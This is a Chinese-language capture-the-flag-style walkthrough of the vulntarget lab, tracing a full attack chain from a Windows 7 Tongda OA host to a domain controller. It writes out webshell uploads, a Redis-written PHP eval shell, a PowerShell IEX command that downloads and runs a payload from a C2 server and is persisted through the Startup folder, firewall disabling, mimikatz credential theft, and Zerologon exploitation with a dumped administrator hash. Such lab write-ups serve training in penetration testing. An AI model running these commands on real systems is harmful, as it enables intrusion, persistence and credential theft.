靶场地址:https://github.com/shengshengli/vulntarget
靶场拓展
kali攻击机IP:192.168.31.111 win7入口:192.168.31.6
首先进行端口扫描
代码语言:javascript复制PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: xCDxA8xB4xEFOAxCDxF8xC2xE7xD6xC7xC4xDCxB0xECxB9xABxCFxB5xCDxB3
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-robots.txt: 1 disallowed entry
|_/
110/tcp open pop3
| fingerprint-strings:
| GenericLines, HTTPOptions:
| OK TDpop3Server 1.0 POP3 Server ready.
| -ERR An error occured
| NULL:
|_ OK TDpop3Server 1.0 POP3 Server ready.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
|_ssl-date: 2022-06-29T08:51:28 00:00; -1m21s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN7-PC
| NetBIOS_Domain_Name: WIN7-PC
| NetBIOS_Computer_Name: WIN7-PC
| DNS_Domain_Name: win7-PC
| DNS_Computer_Name: win7-PC
| Product_Version: 6.1.7601
|_ System_Time: 2022-06-29T08:51:14 00:00
| ssl-cert: Subject: commonName=win7-PC
| Not valid before: 2022-06-27T13:42:35
|_Not valid after: 2022-12-27T13:42:35
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.92%I=7%D=6/29%Time=62BC129D%P=x86_64-pc-linux-gnu%r(NUL
SF:L,29," OKx20TDpop3Serverx201.0x20POP3x20Serverx20ready.rn")%r
SF:(GenericLines,40," OKx20TDpop3Serverx201.0x20POP3x20Serverx20rea
SF:dy.rn-ERRx20Anx20errorx20occuredrn")%r(HTTPOptions,40," OKx20
SF:TDpop3Serverx201.0x20POP3x20Serverx20ready.rn-ERRx20Anx20erro
SF:rx20occuredrn");
MAC Address: 4C:D5:77:CB:F4:99 (Chongqing Fugui Electronics)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: win7-PC
| NetBIOS computer name: WIN7-PCx00
| Workgroup: WORKGROUPx00
|_ System time: 2022-06-29T16:51:13 08:00
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: WIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:5f:e9:81 (VMware)
|_clock-skew: mean: -1h37m21s, deviation: 3h34m39s, median: -1m21s
| smb2-time:
| date: 2022-06-29T08:51:13
|_ start_date: 2022-06-29T08:50:03
此机器存在ms17010漏洞,可以通过msf来拿到system权限,这里不做演示
访问80端口,是一个通达OA
访问/inc/expired.php
,可得到通达OA的版本:11.3
访问/resque/worker.php
,可以得到主机名:win7-PC
可以通过默认的用户名密码登录到后台 admin:空
在后台可以通过上传一个马,来getshell
在菜单-->系统设置-->系统参数设置-->OA服务设置
处发现Web目录为:C:MYOAwebroot
设置附件上传的目录
菜单-->系统设置-->附件管理-->存储目录管理-->添加存储目录
,将目录设置为C:MYOAwebroot
添加成功
现在开始上传文件,组织-->系统管理员
使用burp进行抓包上传,上传后的文件名是通过返回包中的id字段后半段
和文件名
组成,例如:289128391.test.txt
上传的路径是get请求中module的值
和返回包中id字段@后面的四位数
,例如:/xx/1234
先随便上传一个txt文件,成功上传,并且返回包中有id值
得到文件路径为:/im/2206/1312269580.test.txt
,访问发现上传成功
上传一个php文件,返回一串unicode编码
进行unicode解码发现不允许上传php文件
利用windows的特,在保存文件的时候会自动去除文件名后面的.
,如果上传的文件名是test.php.
这样就可以绕过,windows在保存文件的时候会保存成test.php
上传一个php冰蝎马,在文件后缀后面加一个.
上传成功,冰蝎连接http://192.168.31.6/im/2206/1459520029.shell.php
查看一下权限,发现是system权限
systeminfo
查看一下主机的信息(win7专业版,64位,双网卡)
生成cs木马,通过冰蝎上传木马并运行,上线cs
使用mimikatz抓取明文密码logonpasswords
,得到win7用户的密码是admin
查看防火墙状态,发现是开启的,然后关闭防火墙
代码语言:javascript复制 netsh advfirewall show allprofile state 查看防火墙的当前状态
netsh advfirewall set allprofile state off 关闭防火墙
代码语言:javascript复制
使用注册表开启3389
代码语言:javascript复制REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程桌面连接即可
上传fscan来扫描第二张网卡C段的主机和可利用的漏洞(server2016是开了防火墙的,禁ping了,fscan需要加一个-np参数)
有一个10.0.20.99的主机,并且开放了80,135,445,6379端口 搭建隧道(frp proxifier),访问10.0.20.99的80端口,只有一个hello world
进行目录扫描,发现有l.php和phpinfo.php
l.php是php探针,可以发现它的路径在C:/phpStudy/PHPTutorial/WWW/
获得路径可以直接通过redis未授权来写shell
代码语言:javascript复制config set dir C:/phpStudy/PHPTutorial/WWW/
config set dbfilename ccc1.php
set 1 "<?php eval($_REQUEST[1]);?>"
save
蚁剑连接,执行whoami,也是system权限,成功拿下server2016
使用蚁剑连接写入的木马
通过蚁剑上传冰蝎马,然后使用冰蝎连接
拿到第二台的shell,现在需要上线一下cs,在拿下的第一台win7机器中使用natbypass来进行端口流量的转发
将9500端口的流量转发到cs服务器上
代码语言:javascript复制nb -listen 9500 9090
nb -slave 127.0.0.1:9090 cs_server:8181
代码语言:javascript复制
首先拿第一台主机做一个监听器
使用钓鱼攻击,attacks-->web drive-by-->scripted web delivery,类型选用powershell
会得到powershell命令
代码语言:javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs_server:8181/a'))"
代码语言:javascript复制
将里面的ip和端口换成win7的9500端口
代码语言:javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.20.98:9500/a'))"
代码语言:javascript复制
将powershell命令,使用redis写入到windows启动项中
代码语言:javascript复制C:/Users/win2016/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/
shutdown -r -t 0
将靶机重启,server2016成功上线cs
上线的2016权限是win2016,是一个低权限,准备生成一个exe木马丢到web目录下并执行
成功上线2016并且权限是system
用mimikatz抓明文密码没有抓到,获得hash并解码得到administrator的密码是Admin@123
查看网络信息,2016也是双网卡,还有一个10.0.10.111,并且2016是在域环境中
域控ip为:10.0.10.110
查看域内用户组列表net group /domain
查看域内的机器net group "domain computers" /domain
,只有一个win2016的机器
查看域控机器net group "domain controllers" /domain
,发现域控的主机名是win2019
得到域控的主机名和ip检测一下是否存在zerologon(CVE-2020-1472)漏洞
检测发现存在漏洞,使用exp将密码置空
使用impacket的secretsdump.py脚本将域控的hash值dump下来
得到域控administrator的hash
代码语言:javascript复制aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
使用psexec.py登录,获得域控2019的system权限